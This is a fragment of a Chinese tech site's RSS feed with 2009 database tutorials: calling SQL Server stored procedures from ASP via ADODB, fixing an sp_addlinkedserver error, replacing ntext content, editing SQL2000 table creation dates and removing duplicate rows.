		<description><![CDATA[存储过程就是作为可执行对象存放在数据库中的一个或多个SQL命令。<br/>　　定义总是很抽象。存储过程其实就是能完成一定操作的一组SQL语句，只不过这组语句是放在数据库中的(这里我们只谈SQL Server)。如果我们通过创建存储过程以及在ASP中调用存储过程，就可以避免将SQL语句同ASP代码混杂在一起。这样做的好处至少有三个：<br/>　　第一、大大提高效率。存储过程本身的执行速度非常快，而且，调用存储过程可以大大减少同数据库的交互次数。<br/>　　第二、提高安全性。假如将SQL语句混合在ASP代码中，一旦代码失密，同时也就意味着库结构失密。<br/>　　第三、有利于SQL语句的重用。<br/>　　在ASP中，一般通过command对象调用存储过程，根据不同情况，本文也介绍其它调用方法。为了方便说明，根据存储过程的输入输出，作以下简单分类：<br/>　　1. 只返回单一记录集的存储过程<br/>　　假设有以下存储过程(本文的目的不在于讲述T-SQL语法，所以存储过程只给出代码，不作说明)：<br/> /*SP1*/<br/> Cr&#101;ate PROCEDURE dbo.getUserList<br/> as<br/> set nocount on<br/> begin<br/> sel&#101;ct * from dbo.[userinfo]<br/> end<br/> go<br/>　　以上存储过程取得userinfo表中的所有记录，返回一个记录集。通过command对象调用该存储过程的ASP代码如下:<br/> &#39;**通过Command对象调用存储过程**<br/> DIM MyComm,MyRst<br/> Set MyComm = Server.Cr&#101;ateObject(&#34;ADODB.Command&#34;)<br/> MyComm.ActiveConnection = MyConStr &#39;MyConStr是数据库连接字串<br/> MyComm.CommandText = &#34;getUserList&#34; &#39;指定存储过程名<br/> MyComm.CommandType = 4 &#39;表明这是一个存储过程<br/> MyComm.Prepared = true &#39;要求将SQL命令先行编译<br/> Set MyRst = MyComm.Execute<br/> Set MyComm = Nothing<br/>　　存储过程取得的记录集赋给MyRst，接下来，可以对MyRst进行操作。<br/>　　在以上代码中，CommandType属性表明请求的类型，取值及说明如下：<br/>　　-1 表明CommandText参数的类型无法确定<br/>　　1 表明CommandText是一般的命令类型<br/>　　2 表明CommandText参数是一个存在的表名称<br/>　　4 表明CommandText参数是一个存储过程的名称<br/>　　还可以通过Connection对象或Recordset对象调用存储过程，方法分别如下：<br/> &#39;**通过Connection对象调用存储过程**<br/> DIM MyConn,MyRst<br/> Set MyConn = Server.Cr&#101;ateObject(&#34;ADODB.Connection&#34;)<br/> MyConn.open MyConStr &#39;MyConStr是数据库连接字串<br/> Set MyRst = MyConn.Execute(&#34;getUserList&#34;,0,4) &#39;最后一个参断含义同CommandType<br/> Set MyConn = Nothing<br/> &#39;**通过Recordset对象调用存储过程**<br/> DIM MyRst<br/> Set MyRst = Server.Cr&#101;ateObject(&#34;ADODB.Recordset&#34;)<br/> MyRst.open &#34;getUserList&#34;,MyConStr,0,1,4<br/> &#39;MyConStr是数据库连接字串,最后一个参断含义与CommandType相同<br/>　　2. 没有输入输出的存储过程<br/>　　请看以下存储过程：<br/> /*SP2*/<br/> Cr&#101;ate PROCEDURE dbo.delUserAll<br/> as<br/> set nocount on<br/> begin<br/> del&#101;te from dbo.[userinfo]<br/> end<br/> go<br/>　　该存储过程删去userinfo表中的所有记录，没有任何输入及输出，调用方法与上面讲过的基本相同，只是不用取得记录集：<br/> &#39;**通过Command对象调用存储过程**<br/> DIM MyComm<br/> Set MyComm = Server.Cr&#101;ateObject(&#34;ADODB.Command&#34;)<br/> MyComm.ActiveConnection = MyConStr &#39;MyConStr是数据库连接字串<br/> MyComm.CommandText = &#34;delUserAll&#34; &#39;指定存储过程名<br/> MyComm.CommandType = 4 &#39;表明这是一个存储过程<br/> MyComm.Prepared = true &#39;要求将SQL命令先行编译<br/> MyComm.Execute &#39;此处不必再取得记录集<br/> Set MyComm = Nothing<br/>　　当然也可通过Connection对象或Recordset对象调用此类存储过程，不过建立Recordset对象是为了取得记录集，在没有返回记录集的情况下，还是利用Command对象吧。<br/>　　3. 有返回值的存储过程<br/>　　在进行类似SP2的操作时，应充分利用SQL Server强大的事务处理功能，以维护数据的一致性。并且，我们可能需要存储过程返回执行情况，为此，将SP2修改如下：<br/> /*SP3*/<br/> Cr&#101;ate PROCEDURE dbo.delUserAll<br/> as<br/> set nocount on<br/> begin<br/> BEGIN TRANSACTION<br/> del&#101;te from dbo.[userinfo]<br/> IF @@error=0<br/> begin<br/> COMMIT TRANSACTION<br/> return 1<br/> end<br/> ELSE<br/> begin<br/> ROLLBACK TRANSACTION<br/> return 0<br/> end<br/> return<br/> end<br/> go<br/>　　以上存储过程，在del&#101;te顺利执行时，返回1，否则返回0，并进行回滚操作。为了在ASP中取得返回值，需要利用Parameters集合来声明参数：<br/> &#39;**调用带有返回值的存储过程并取得返回值**<br/> DIM MyComm,MyPara<br/> Set MyComm = Server.Cr&#101;ateObject(&#34;ADODB.Command&#34;)<br/> MyComm.ActiveConnection = MyConStr &#39;MyConStr是数据库连接字串<br/> MyComm.CommandText = &#34;delUserAll&#34; &#39;指定存储过程名<br/> MyComm.CommandType = 4 &#39;表明这是一个存储过程<br/> MyComm.Prepared = true &#39;要求将SQL命令先行编译<br/> &#39;声明返回值<br/> Set Mypara = MyComm.Cr&#101;ateParameter(&#34;RETURN&#34;,2,4)<br/> MyComm.Parameters.Append MyPara<br/> MyComm.Execute<br/> &#39;取得返回值<br/> DIM retValue<br/> retValue = MyComm(0) &#39;或retValue = MyComm.Parameters(0)<br/> Set MyComm = Nothing<br/>　　在MyComm.Cr&#101;ateParameter(&#34;RETURN&#34;,2,4)中，各参数的含义如下：<br/>　　第一个参数(&#34;RETURE&#34;)为参数名。参数名可以任意设定，但一般应与存储过程中声明的参数名相同。此处是返回值，我习惯上设为&#34;RETURE&#34;；<br/>　　第二个参数(2)，表明该参数的数据类型，具体的类型代码请参阅ADO参考，以下给出常用的类型代码：<br/> adBigInt: 20 ;<br/> adBinary : 128 ;<br/> adBoolean: 11 ;<br/> adChar: 129 ;<br/> adDBTimeStamp: 135 ;<br/> adEmpty: 0 ;<br/> adInteger: 3 ;<br/> adSmallInt: 2 ;<br/> adTinyInt: 16 ;<br/> adVarChar: 200 ;<br/>　　对于返回值，只能取整形，且-1到-99为保留值；<br/>　　第三个参数(4)，表明参数的性质，此处4表明这是一个返回值。此参数取值的说明如下：<br/>　　0 : 类型无法确定； 1: 输入参数；2: 输入参数；3：输入或输出参数；4: 返回值<br/>　　以上给出的ASP代码，应该说是完整的代码，也即最复杂的代码，其实<br/> Set Mypara = MyComm.Cr&#101;ateParameter(&#34;RETURN&#34;,2,4)<br/> MyComm.Parameters.Append MyPara<br/>　　可以简化为<br/> MyComm.Parameters.Append MyComm.Cr&#101;ateParameter(&#34;RETURN&#34;,2,4)<br/>　　甚至还可以继续简化，稍后会做说明。<br/>　　对于带参数的存储过程，只能使用Command对象调用(也有资料说可通过Connection对象或Recordset对象调用，但我没有试成过)。<br/>　　4. 有输入参数和输出参数的存储过程<br/>　　返回值其实是一种特殊的输出参数。在大多数情况下，我们用到的是同时有输入及输出参数的存储过程，比如我们想取得用户信息表中，某ID用户的用户名，这时候，有一个输入参数----用户ID，和一个输出参数----用户名。实现这一功能的存储过程如下：<br/> /*SP4*/<br/> Cr&#101;ate PROCEDURE dbo.getUserName<br/> @UserID int,<br/> @UserName varchar(40) output<br/> as<br/> set nocount on<br/> begin<br/> if @UserID is null return<br/> sel&#101;ct @UserName=username<br/> from dbo.[userinfo]<br/> wh&#101;re userid=@UserID<br/> return<br/> end<br/> go<br/>　　调用该存储过程的ASP代码如下：<br/> &#39;**调用带有输入输出参数的存储过程**<br/> DIM MyComm,UserID,UserName<br/> UserID = 1<br/> Set MyComm = Server.Cr&#101;ateObject(&#34;ADODB.Command&#34;)<br/> MyComm.ActiveConnection = MyConStr &#39;MyConStr是数据库连接字串<br/> MyComm.CommandText = &#34;getUserName&#34; &#39;指定存储过程名<br/> MyComm.CommandType = 4 &#39;表明这是一个存储过程<br/> MyComm.Prepared = true &#39;要求将SQL命令先行编译<br/> &#39;声明参数<br/> MyComm.Parameters.append MyComm.Cr&#101;ateParameter(&#34;@UserID&#34;,3,1,4,UserID)<br/> MyComm.Parameters.append MyComm.Cr&#101;ateParameter(&#34;@UserName&#34;,200,2,40)<br/> MyComm.Execute<br/> &#39;取得出参<br/> UserName = MyComm(1)<br/> Set MyComm = Nothing<br/>　　在以上代码中，可以看到，与声明返回值不同，声明输入参数时需要5个参数，声明输出参数时需要4个参数。声明输入参数时5个参数分别为：参数名、参数数据类型、参数类型、数据长度、参数值。声明输出参数时，没有最后一个参数：参数值。<br/>　　需要特别注意的是：在声明参数时，顺序一定要与存储过程中定义的顺序相同，而且各参数的数据类型、长度也要与存储过程中定义的相同。<br/>　　如果存储过程有多个参数，ASP代码会显得繁琐，可以使用with命令简化代码：<br/> &#39;**调用带有输入输出参数的存储过程(简化代码)**<br/> DIM MyComm,UserID,UserName<br/> UserID = 1<br/> Set MyComm = Server.Cr&#101;ateObject(&#34;ADODB.Command&#34;)<br/> with MyComm<br/> 　.ActiveConnection = MyConStr &#39;MyConStr是数据库连接字串<br/> 　.CommandText = &#34;getUserName&#34; &#39;指定存储过程名<br/> 　.CommandType = 4 &#39;表明这是一个存储过程<br/> 　.Prepared = true &#39;要求将SQL命令先行编译<br/> 　.Parameters.append .Cr&#101;ateParameter(&#34;@UserID&#34;,3,1,4,UserID)<br/> 　.Parameters.append .Cr&#101;ateParameter(&#34;@UserName&#34;,200,2,40)<br/> 　.Execute<br/> end with<br/> UserName = MyComm(1)<br/> Set MyComm = Nothing<br/>　　假如我们要取得ID为1到10，10位用户的用户名，是不是要创建10次Command对象呢？不是的。如果需要多次调用同一存储过程，只需改变输入参数，就会得到不同的输出：<br/> &#39;**多次调用同一存储过程**<br/> DIM MyComm,UserID,UserName<br/> UserName = &#34;&#34;<br/> Set MyComm = Server.Cr&#101;ateObject(&#34;ADODB.Command&#34;)<br/> for UserID = 1 to 10<br/> 　with MyComm<br/> 　　.ActiveConnection = MyConStr &#39;MyConStr是数据库连接字串<br/> 　　.CommandText = &#34;getUserName&#34; &#39;指定存储过程名<br/> 　　.CommandType = 4 &#39;表明这是一个存储过程<br/> 　　.Prepared = true &#39;要求将SQL命令先行编译<br/> 　　if UserID = 1 then<br/> 　　　.Parameters.append .Cr&#101;ateParameter(&#34;@UserID&#34;,3,1,4,UserID)<br/> 　　　.Parameters.append .Cr&#101;ateParameter(&#34;@UserName&#34;,200,2,40)<br/> 　　　.Execute<br/> 　　else<br/> 　　　&#39;重新给入参赋值(此时参数值不发生变化的入参以及出参不必重新声明)<br/> 　　　.Parameters(&#34;@UserID&#34;) = UserID<br/> 　　　.Execute<br/> 　　end if<br/> 　end with<br/> 　UserName = UserName + MyComm(1) + &#34;,&#34; &#39;也许你喜欢用数组存储<br/> next<br/> Set MyComm = Nothing<br/>　　通过以上代码可以看出：重复调用同一存储过程时，只需为值发生改变的输入参数重新赋值即可，这一方法在有多个输入输出参数，且每次调用时只有一个输入参数的值发生变化时，可以大大减少代码量。<br/>　　5. 同时具有返回值、输入参数、输出参数的存储过程<br/>　　前面说过，在调用存储过程时，声明参数的顺序要与存储过程中定义的顺序相同。还有一点要特别注意：如果存储过程同时具有返回值以及输入、输出参数，返回值要最先声明。<br/>　　为了演示这种情况下的调用方法，我们改善一下上面的例子。还是取得ID为1的用户的用户名，但是有可能该用户不存在(该用户已删除，而userid是自增长的字段)。存储过程根据用户存在与否，返回不同的值。此时，存储过程和ASP代码如下：<br/> /*SP5*/<br/> Cr&#101;ate PROCEDURE dbo.getUserName<br/> --为了加深对&#34;顺序&#34;的印象，将以下两参数的定义顺序颠倒一下<br/> @UserName varchar(40) output,<br/> @UserID int<br/> as<br/> set nocount on<br/> begin<br/> if @UserID is null return<br/> sel&#101;ct @UserName=username<br/> from dbo.[userinfo]<br/> wh&#101;re userid=@UserID<br/> if @@rowcount&gt;0<br/> return 1<br/> else<br/> return 0<br/> return<br/> end<br/> go<br/>&#39;**调用同时具有返回值、输入参数、输出参数的存储过程**<br/> DIM MyComm,UserID,UserName<br/> UserID = 1<br/> Set MyComm = Server.Cr&#101;ateObject(&#34;ADODB.Command&#34;)<br/> with MyComm<br/> .ActiveConnection = MyConStr &#39;MyConStr是数据库连接字串<br/> .CommandText = &#34;getUserName&#34; &#39;指定存储过程名<br/> .CommandType = 4 &#39;表明这是一个存储过程<br/> .Prepared = true &#39;要求将SQL命令先行编译<br/> &#39;返回值要最先被声明<br/> .Parameters.Append .Cr&#101;ateParameter(&#34;RETURN&#34;,2,4)<br/> &#39;以下两参数的声明顺序也做相应颠倒<br/> .Parameters.append .Cr&#101;ateParameter(&#34;@UserName&#34;,200,2,40)<br/> .Parameters.append .Cr&#101;ateParameter(&#34;@UserID&#34;,3,1,4,UserID)<br/> .Execute<br/> end with<br/> if MyComm(0) = 1 then<br/> UserName = MyComm(1)<br/> else<br/> UserName = &#34;该用户不存在&#34;<br/> end if<br/> Set MyComm = Nothing<br/>　　6. 同时返回参数和记录集的存储过程<br/>　　有时候，我们需要存储过程同时返回参数和记录集，比如在利用存储过程分页时，要同时返回记录集以及数据总量等参数。以下给出一个进行分页处理的存储过程：<br/> /*SP6*/<br/> Cr&#101;ate PROCEDURE dbo.getUserList<br/> @iPageCount int OUTPUT, --总页数<br/> @iPage int, --当前页号<br/> @iPageSize int --每页记录数<br/> as<br/> set nocount on<br/> begin<br/> --创建临时表<br/> cr&#101;ate table #t (ID int IDENTITY, --自增字段<br/> userid int,<br/> username varchar(40))<br/> --向临时表中写入数据<br/> ins&#101;rt into #t<br/> sel&#101;ct userid,username from dbo.[UserInfo]<br/> o&#114;der by userid<br/> --取得记录总数<br/> declare @iRecordCount int<br/> set @iRecordCount = @@rowcount<br/> --确定总页数<br/> IF @iRecordCount%@iPageSize=0<br/> SET @iPageCount=CEILING(@iRecordCount/@iPageSize)<br/> ELSE<br/> SET @iPageCount=CEILING(@iRecordCount/@iPageSize)+1<br/> --若请求的页号大于总页数，则显示最后一页<br/> IF @iPage &gt; @iPageCount<br/> Sel&#101;ct @iPage = @iPageCount<br/> --确定当前页的始末记录<br/> DECLARE @iStart int --start record<br/> DECLARE @iEnd int --end record<br/> Sel&#101;ct @iStart = (@iPage - 1) * @iPageSize<br/> Sel&#101;ct @iEnd = @iStart + @iPageSize + 1<br/> --取当前页记录<br/> sel&#101;ct * from #t wh&#101;re ID&gt;@iStart and ID&lt;@iEnd<br/> --删除临时表<br/> Dro&#112; TABLE #t<br/> --返回记录总数<br/> return @iRecordCount<br/> end<br/> go<br/> 　　在上面的存储过程中，输入当前页号及每页记录数，返回当前页的记录集，总页数及记录总数。为了更具典型性，将记录总数以返回值的形式返回。以下是调用该存储过程的ASP代码(具体的分页操作略去):<br/> &#39;**调用分页存储过程**<br/> DIM pagenow,pagesize,pagecount,recordcount<br/> DIM MyComm,MyRst<br/> pagenow = Request(&#34;pn&#34;)<br/> &#39;自定义函数用于验证自然数<br/> if CheckNar(pagenow) = false then pagenow = 1<br/> pagesize = 20<br/> Set MyComm = Server.Cr&#101;ateObject(&#34;ADODB.Command&#34;)<br/> with MyComm<br/> .ActiveConnection = MyConStr &#39;MyConStr是数据库连接字串<br/> .CommandText = &#34;getUserList&#34; &#39;指定存储过程名<br/> .CommandType = 4 &#39;表明这是一个存储过程<br/> .Prepared = true &#39;要求将SQL命令先行编译<br/> &#39;返回值(记录总量)<br/> .Parameters.Append .Cr&#101;ateParameter(&#34;RETURN&#34;,2,4)<br/> &#39;出参(总页数)<br/> .Parameters.Append .Cr&#101;ateParameter(&#34;@iPageCount&#34;,3,2)<br/> &#39;入参(当前页号)<br/> .Parameters.append .Cr&#101;ateParameter(&#34;@iPage&#34;,3,1,4,pagenow)<br/> &#39;入参(每页记录数)<br/> .Parameters.append .Cr&#101;ateParameter(&#34;@iPageSize&#34;,3,1,4,pagesize)<br/> Set MyRst = .Execute<br/> end with<br/> if MyRst.state = 0 then &#39;未取到数据，MyRst关闭<br/> recordcount = -1<br/> else<br/> MyRst.close &#39;注意：若要取得参数值，需先关闭记录集对象<br/> recordcount = MyComm(0)<br/> pagecount = MyComm(1)<br/> if cint(pagenow)&gt;=cint(pagecount) then pagenow=pagecount<br/> end if<br/> Set MyComm = Nothing<br/> &#39;以下显示记录<br/> if recordcount = 0 then<br/> Response.Write &#34;无记录&#34;<br/> elseif recordcount &gt; 0 then<br/> MyRst.open<br/> do until MyRst.EOF<br/> ......<br/> loop<br/> &#39;以下显示分页信息<br/> ......<br/> else &#39;recordcount=-1<br/> Response.Write &#34;参数错误&#34;<br/> end if<br/>7. 返回多个记录集的存储过程<br/>　　本文最先介绍的是返回记录集的存储过程。有时候，需要一个存储过程返回多个记录集，在ASP中，如何同时取得这些记录集呢？为了说明这一问题，在userinfo表中增加两个字段：usertel及usermail，并设定只有登录用户可以查看这两项内容。<br/> /*SP7*/<br/> Cr&#101;ate PROCEDURE dbo.getUserInfo<br/> @userid int,<br/> @checklogin bit<br/> as<br/> set nocount on<br/> begin<br/> if @userid is null o&#114; @checklogin is null return<br/> sel&#101;ct username<br/> from dbo.[usrinfo]<br/> wh&#101;re userid=@userid<br/> --若为登录用户，取usertel及usermail<br/> if @checklogin=1<br/> sel&#101;ct usertel,usermail<br/> from dbo.[userinfo]<br/> wh&#101;re userid=@userid<br/> return<br/> end<br/> go<br/>　　以下是ASP代码：<br/> &#39;**调用返回多个记录集的存储过程**<br/> DIM checklg,UserID,UserName,UserTel,UserMail<br/> DIM MyComm,MyRst<br/> UserID = 1<br/> &#39;checklogin()为自定义函数，判断访问者是否登录<br/> checklg = checklogin()<br/> Set MyComm = Server.Cr&#101;ateObject(&#34;ADODB.Command&#34;)<br/> with MyComm<br/> 　.ActiveConnection = MyConStr &#39;MyConStr是数据库连接字串<br/> 　.CommandText = &#34;getUserInfo&#34; &#39;指定存储过程名<br/> 　.CommandType = 4 &#39;表明这是一个存储过程<br/> 　.Prepared = true &#39;要求将SQL命令先行编译<br/> 　.Parameters.append .Cr&#101;ateParameter(&#34;@userid&#34;,3,1,4,UserID)<br/> 　.Parameters.append .Cr&#101;ateParameter(&#34;@checklogin&#34;,11,1,1,checklg)<br/> 　Set MyRst = .Execute<br/> end with<br/> Set MyComm = Nothing<br/> &#39;从第一个记录集中取值<br/> UserName = MyRst(0)<br/> &#39;从第二个记录集中取值<br/> if not MyRst is Nothing then<br/> 　Set MyRst = MyRst.NextRecordset()<br/> 　UserTel = MyRst(0)<br/> 　UserMail = MyRst(1)<br/> end if<br/> Set MyRst = Nothing<br/>　　以上代码中，利用Recordset对象的NextRecordset方法，取得了存储过程返回的多个记录集。<br/>　　至此，针对ASP调用存储过程的各种情况，本文已做了较为全面的说明。最后说一下在一个ASP程序中，调用多个存储过程的不同方法。<br/>　　在一个ASP程序中，调用多个存储过程至少有以下三种方法是可行的：<br/>　　1. 创建多个Command对象<br/> DIM MyComm<br/> Set MyComm = Server.Cr&#101;ateObject(&#34;ADODB.Command&#34;)<br/> &#39;调用存储过程一<br/> ......<br/> Set MyComm = Nothing<br/> Set MyComm = Server.Cr&#101;ateObject(&#34;ADODB.Command&#34;)<br/> &#39;调用存储过程二<br/> ......<br/> Set MyComm = Nothing<br/> ......<br/>　　2. 只创建一个Command对象，结束一次调用时，清除其参数<br/> DIM MyComm<br/> Set MyComm = Server.Cr&#101;ateObject(&#34;ADODB.Command&#34;)<br/> &#39;调用存储过程一<br/> .....<br/> &#39;清除参数(假设有三个参数)<br/> MyComm.Parameters.del&#101;te 2<br/> MyComm.Parameters.del&#101;te 1<br/> MyComm.Parameters.del&#101;te 0<br/> &#39;调用存储过程二并清除参数<br/> ......<br/> Set MyComm = Nothing<br/> 　　此时要注意：清除参数的顺序与参数声明的顺序相反，原因嘛，我也不知道。<br/>　　3. 利用Parameters数据集合的Refresh方法重置Parameter对象<br/> DIM MyComm<br/> Set MyComm = Server.Cr&#101;ateObject(&#34;ADODB.Command&#34;)<br/> &#39;调用存储过程一<br/> .....<br/> &#39;重置Parameters数据集合中包含的所有Parameter对象<br/> MyComm.Parameters.Refresh<br/> &#39;调用存储过程二<br/> .....<br/> Set MyComm = Nothing<br/>　　一般认为，重复创建对象是效率较低的一种方法，但是经测试(测试工具为Microsoft Application Center Test)，结果出人意料：<br/>　　方法2 &gt;= 方法1 &gt;&gt; 方法3<br/>　　方法2的运行速度大于等于方法1(最多可高4%左右)，这两种方法的运行速度远大于方法3(最多竟高达130%)，所以建议在参数多时，采用方法1，在参数较少时，采用方法2。]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2933.htm</link>
			<title><![CDATA[请执行sp_addlinkedserver 将该服务器添加到sysserver解决办法]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 19:57:09 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2933</guid>
		<description><![CDATA[公司数据库升级成SQL2005了，原来的SQL2000数据库直接附件上去后，发现添加数据的时候报SQL错误“请执行 sp_addlinkedserver 将该服务器添加到sysserver解决办法”。在网上找了好多文章，都说需要执行sp_addlinkedserver 这个存储教程，要在执行SQL 命令的SQL Server器上进行设置，于是赶紧查看关于sp_addlinkedserver 系统存储过程的资料，但细分析，原其实还有更简便的方法，不需要在SQL查询分析器中执行任何查询的查询存储过程。<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 以下是我总结的两个解决系统报“在sysservers 中找不到服务器 &#39;www.Supidea.com&#39;。请执行sp_addlinkedserver 将该服务器添加到sysservers。”的方法。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 解决方法1：（Supidea.com 强烈推荐）<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 对于SQL Server可以采用“SQLOLEDB”作为@provider，也就是说只要修改一下连接语句就好了。<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 原来的SQL连接语句为：ConnData=&#34;driver={SQL Server};server=www.supidea.com;uid=www.supidea.com;pwd=supidea.com;database=Supidea&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 修改使用“SQLOLEDB”作为@provider的连接语句为：ConnData=&#34;Provider=SQLOLEDB.1;Persist Security Info=false;server=www.supidea.com;uid=www.supidea.com;pwd=supidea.com;database=supidea&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 简单点说：也就是把连接语句中的driver={SQL Server}”换为Provider=SQLOLEDB.1;Persist Security Info=false;就可以了<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 解决方法2：&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 还有一种方法说那便使用执行下面的存储过程来解决，但因看上去比较麻烦，所以不推荐。<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EXEC sp_addlinkedserver <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@server = &#39;www.supidea.com&#39;, <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@provider = &#39;MSDASQL&#39;,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@provstr = &#39;DRIVER={SQL Server};SERVER=www.supidea.com;UID=sa;PWD=www.supidea.com;&#39;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--@server是以后执行SQL命令时引用的服务器名，它可以任意命名，不一定需要与真实SQL Server服务器同名。<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--@provider请按资料表格中提供的参数给定。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;如果上面说明的请执行sp_addlinkedserver 将该服务器添加到sysserver解决办法都不能解决您遇到的问题，那可能就是SQL数据库的问题了，您可能需要重装SQL来解决此问题<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 总结：<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在写SQL连接语句的时候，尽量使用“SQLOLEDB”作为@provider来连接：“Provider=SQLOLEDB.1;Persist Security Info=false;”，这样的连接语句感觉比“driver={SQL Server}”的兼容性能要来的稳定。<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 本博原创文章，转载请注明文章来源Supidea.com请执行sp_addlinkedserver 将该服务器添加到sysserver解决办法]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2932.htm</link>
			<title><![CDATA[SQL查询中用replace替换ntext,text字段部分内容]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 19:55:02 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2932</guid>
		<description><![CDATA[方法一(推荐)：<br/>up&#100;ate tablename set fieldA=replace(cast(fieldA as varchar(8000)) ,&#39;aa&#39;,&#39;bb&#39;)这样的语句。<br/>SQL中replace替换ntext,text字段部分内容使用说明：replace(cast(fieldA as varchar(8000)) ,&#39;aa&#39;,&#39;bb&#39;)<br/><br/>方法二：<br/>支持text字段处理的仅有:下面的函数和语句可以与 ntext、text 或 image 数据一起使用。<br/>函数 语句<br/>DATALENGTH READTEXT<br/>PATINDEX SET TEXTSIZE<br/>SUBSTRING Up&#100;ateTEXT<br/>TEXTPTR WRITETEXT<br/>TEXTVALID<br/><br/>主题：text字段<br/>1:替换<br/><br/>--创建数据测试环境<br/>cr&#101;ate table #tb(aa text)<br/>ins&#101;rt into #tb sel&#101;ct &#39;abc123abc123,asd&#39;<br/><br/>--定义替换的字符串<br/>declare @s_str varchar(8000),@d_str varchar(8000)<br/>sel&#101;ct @s_str=&#39;123&#39; --要替换的字符串<br/>,@d_str=&#39;000&#39;--替换成的字符串<br/><br/>--字符串替换处理<br/>declare @p varbinary(16),@postion int,@rplen int<br/>sel&#101;ct @p=textptr(aa),@rplen=len(@s_str),@postion=charindex(@s_str,aa)-1 from #tb<br/>while @postion&gt;0<br/>begin<br/>up&#100;atetext #tb.aa @p @postion @rplen @d_str<br/>sel&#101;ct @postion=charindex(@s_str,aa)-1 from #tb<br/>end]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2931.htm</link>
			<title><![CDATA[sql2000修改表创建日期]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 19:54:36 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2931</guid>
		<description><![CDATA[需要修改系统表。步骤如下：<br/>登录查询分析器后执行<br/>use 数据库名<br/>定位到表所在的数据库，<br/>然后执行<br/><br/>exec sp_configure &#39;allow up&#39;,1<br/>reconfigure with override<br/><br/>然后，执行up&#100;ate语句，注意把&#39;table&#39;替换成你要修改日期的表的名字，&#39;2006-1-1&#39;修改成你要修改的日期。<br/><br/>up&#100;ate sysobjects<br/>set crdate=&#39;2006-1-1&#39;<br/>wh&#101;re name=&#39;table&#39; and type=&#39;u&#39;<br/><br/>如果你想活省去一个个表修改创建时间的麻烦,可以使用下面的查询语句来批量修改.<br/>up&#100;ate sysobjects<br/>set crdate=&#39;2008-09-15&#39;<br/>wh&#101;re type=&#39;u&#39;<br/><br/><br/>执行完上述操作后但把SQL2000表的创建时间修改好了.<br/>但我们的操作并没完成,更新完日期后请执行下面的SQL语句<br/><br/>exec sp_configure &#39;allow up&#39;,0<br/>reconfigure]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2930.htm</link>
			<title><![CDATA[SQL查询及删除数据表中重复记录]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 19:53:48 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2930</guid>
		<description><![CDATA[1、&nbsp;&nbsp;Sel&#101;ct T1,T2,T3 FROM TABLE Group by t1,t2,t3 having count(*) &gt;1 查找重复记录<br/>2、&nbsp;&nbsp;Del&#101;te FROM TABLE Wh&#101;re ID NOT IN (Sel&#101;ct MAX(ID) FROM TABLE GROUP BY T1,T2,T3)&nbsp;&nbsp;按条件删除重复记录<br/><br/> 1。查找全部重复记录<br/>Sel&#101;ct * From 表 Wh&#101;re 重复字段 In (Sel&#101;ct 重复字段 From 表 Group By 重复字段 Having Count(*)&gt;1)<br/><br/>2。过滤重复记录(只显示一条)<br/>Sel&#101;ct * From 表 Wh&#101;re ID In (Sel&#101;ct Max(ID) From 表 Group By 重复字段)<br/>注：此处显示ID最大一条记录<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2929.htm</link>
			<title><![CDATA[MySQL4数据库转MySQL5]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 19:53:14 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2929</guid>
